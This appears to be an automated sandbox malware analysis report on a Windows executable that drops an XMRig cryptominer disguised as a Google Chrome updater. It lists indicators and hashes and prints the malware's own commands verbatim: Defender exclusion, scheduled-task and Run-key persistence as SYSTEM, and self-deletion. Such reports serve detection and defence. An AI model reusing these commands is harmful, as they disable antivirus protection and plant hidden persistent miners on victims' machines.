Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
413s -
max time network
1805s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
6aNn9vLJCQVfagSE.exeupdater.execonhost.exedescription pid process target process PID 2932 created 1244 2932 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 2932 created 1244 2932 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 2932 created 1244 2932 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 2932 created 1244 2932 6aNn9vLJCQVfagSE.exe Explorer.EXE PID 3032 created 1244 3032 updater.exe Explorer.EXE PID 3032 created 1244 3032 updater.exe Explorer.EXE PID 3032 created 1244 3032 updater.exe Explorer.EXE PID 700 created 1244 700 conhost.exe Explorer.EXE PID 3032 created 1244 3032 updater.exe Explorer.EXE PID 3032 created 1244 3032 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral3/memory/2804-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2804-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2432 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 3032 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2600 taskeng.exe -
Processes:
resource yara_rule behavioral3/memory/2804-64-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2804-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 3032 set thread context of 700 3032 updater.exe conhost.exe PID 3032 set thread context of 2804 3032 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
6aNn9vLJCQVfagSE.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe 6aNn9vLJCQVfagSE.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2940 schtasks.exe 472 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80f50a822f51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
6aNn9vLJCQVfagSE.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2932 6aNn9vLJCQVfagSE.exe 2932 6aNn9vLJCQVfagSE.exe 2972 powershell.exe 2932 6aNn9vLJCQVfagSE.exe 2932 6aNn9vLJCQVfagSE.exe 2400 powershell.exe 2932 6aNn9vLJCQVfagSE.exe 2932 6aNn9vLJCQVfagSE.exe 2932 6aNn9vLJCQVfagSE.exe 2932 6aNn9vLJCQVfagSE.exe 2836 powershell.exe 3032 updater.exe 3032 updater.exe 2472 powershell.exe 3032 updater.exe 3032 updater.exe 2004 powershell.exe 3032 updater.exe 3032 updater.exe 700 conhost.exe 700 conhost.exe 3032 updater.exe 3032 updater.exe 3032 updater.exe 3032 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2972 powershell.exe Token: SeDebugPrivilege 2400 powershell.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 2004 powershell.exe Token: SeDebugPrivilege 3032 updater.exe Token: SeAssignPrimaryTokenPrivilege 288 WMIC.exe Token: SeIncreaseQuotaPrivilege 288 WMIC.exe Token: SeSecurityPrivilege 288 WMIC.exe Token: SeTakeOwnershipPrivilege 288 WMIC.exe Token: SeLoadDriverPrivilege 288 WMIC.exe Token: SeSystemtimePrivilege 288 WMIC.exe Token: SeBackupPrivilege 288 WMIC.exe Token: SeRestorePrivilege 288 WMIC.exe Token: SeShutdownPrivilege 288 WMIC.exe Token: SeSystemEnvironmentPrivilege 288 WMIC.exe Token: SeUndockPrivilege 288 WMIC.exe Token: SeManageVolumePrivilege 288 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 288 WMIC.exe Token: SeIncreaseQuotaPrivilege 288 WMIC.exe Token: SeSecurityPrivilege 288 WMIC.exe Token: SeTakeOwnershipPrivilege 288 WMIC.exe Token: SeLoadDriverPrivilege 288 WMIC.exe Token: SeSystemtimePrivilege 288 WMIC.exe Token: SeBackupPrivilege 288 WMIC.exe Token: SeRestorePrivilege 288 WMIC.exe Token: SeShutdownPrivilege 288 WMIC.exe Token: SeSystemEnvironmentPrivilege 288 WMIC.exe Token: SeUndockPrivilege 288 WMIC.exe Token: SeManageVolumePrivilege 288 WMIC.exe Token: SeLockMemoryPrivilege 2804 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2400 wrote to memory of 2940 2400 powershell.exe schtasks.exe PID 2400 wrote to memory of 2940 2400 powershell.exe schtasks.exe PID 2400 wrote to memory of 2940 2400 powershell.exe schtasks.exe PID 2432 wrote to memory of 2780 2432 cmd.exe choice.exe PID 2432 wrote to memory of 2780 2432 cmd.exe choice.exe PID 2432 wrote to memory of 2780 2432 cmd.exe choice.exe PID 2836 wrote to memory of 2576 2836 powershell.exe schtasks.exe PID 2836 wrote to memory of 2576 2836 powershell.exe schtasks.exe PID 2836 wrote to memory of 2576 2836 powershell.exe schtasks.exe PID 2600 wrote to memory of 3032 2600 taskeng.exe updater.exe PID 2600 wrote to memory of 3032 2600 taskeng.exe updater.exe PID 2600 wrote to memory of 3032 2600 taskeng.exe updater.exe PID 2004 wrote to memory of 472 2004 powershell.exe schtasks.exe PID 2004 wrote to memory of 472 2004 powershell.exe schtasks.exe PID 2004 wrote to memory of 472 2004 powershell.exe schtasks.exe PID 3032 wrote to memory of 700 3032 updater.exe conhost.exe PID 1640 wrote to memory of 288 1640 cmd.exe WMIC.exe PID 1640 wrote to memory of 288 1640 cmd.exe WMIC.exe PID 1640 wrote to memory of 288 1640 cmd.exe WMIC.exe PID 3032 wrote to memory of 2804 3032 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {C24664D2-B483-4F86-80A2-B1FDAB9AB806} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
98KB
MD5a4a5e4b22c1295fa04deb4e0fa607938
SHA17287bb410f28ee3777838ac3dfccfa06e4bb2b8d
SHA256eac475b41eef70c1b1a297c4ca2514f364731b395f259b30f68ed96755ee680e
SHA5122434079d869784903035b254fb170d5ac128cf8f5c3d20c0b6c2feb10817213cf075c13107153075354cbddcfa105da873720e76b34b1e3f487957349d86d302
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD54317a04cd25874edbe880db8d19cef3c
SHA12f66a2a3c6468966fdbd096de624a4c6ac174150
SHA2566052d2953384c754a80107706e366956591f82427b8222de84bab25ed5d40d18
SHA512e630ab5434d291469921f01b97443fad9dbcec2ebeda4234b2c3f0da9d0243e0e568a3f477fa7a6fd5c1e66184620d58356266ebc5c2c747d087021280adabda
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
195KB
MD5715416dc5f4942330787f437468b32a6
SHA18b7b664069a81e87f887bfc4e803218162ef7327
SHA2563afda9fb75b8fdf11e6f52302cce5b39f2ccdccccc1f17610968057df4fb9f0d
SHA512fe39512b142170148a081b9c6c82c2938dc7781bd1b55fe622e86eb326878362a521941b722a0e1952b1cf6825ffceafddf2d93d2d8d4ec0a356990082fccd81
